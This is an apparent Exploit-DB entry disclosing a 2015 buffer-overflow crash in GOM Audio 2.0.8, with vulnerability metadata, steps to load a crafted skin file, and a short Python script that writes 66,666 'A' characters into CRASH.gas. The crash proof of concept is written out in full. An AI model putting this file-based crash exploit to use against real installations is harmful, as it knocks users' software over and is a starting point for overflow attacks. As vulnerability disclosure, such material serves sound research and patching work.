GOM Audio 2.0.8 Crash POC

vendor:

GOM Audio

by:

Un_N0n

7,5

CVSS

HIGH

Crash

119

CWE

Product Name: GOM Audio

Affected Version From: 2.0.8

Affected Version To: 2.0.8

Patch Exists: YES

Related CWE: N/A

CPE: 2.0.8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x86(32 BIT)

2015

GOM Audio 2.0.8 is vulnerable to a crash due to a buffer overflow. By opening the application, going to Preference -> Manage -> Skins, and clicking on ADD, then browsing the CRASH.gas file, the software will crash.

Mitigation:

Upgrade to the latest version of GOM Audio

Source

Exploit-DB raw data:

********************************************************************************************
# Exploit Title: GOM Audio 2.0.8 Crash POC
# Date: 8/24/2015
# Exploit Author: Un_N0n
# Software Vendor : http://audio.gomlab.com/
# Software Link: http://audio.gomlab.com/download_log.gom
# Version: 2.0.8 (2015/06/17)
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'Goma.exe'.
2- Goto Preference -> Manage -> Skins.
3- Click on ADD, Browse CRASH.gas in it.
~ Software will Crash.

[Code to produce crash.txt]: 
junk = "A"*66666
file = open("CRASH.gas",'w')
file.write(junk)
file.close()
**********************************************************************************************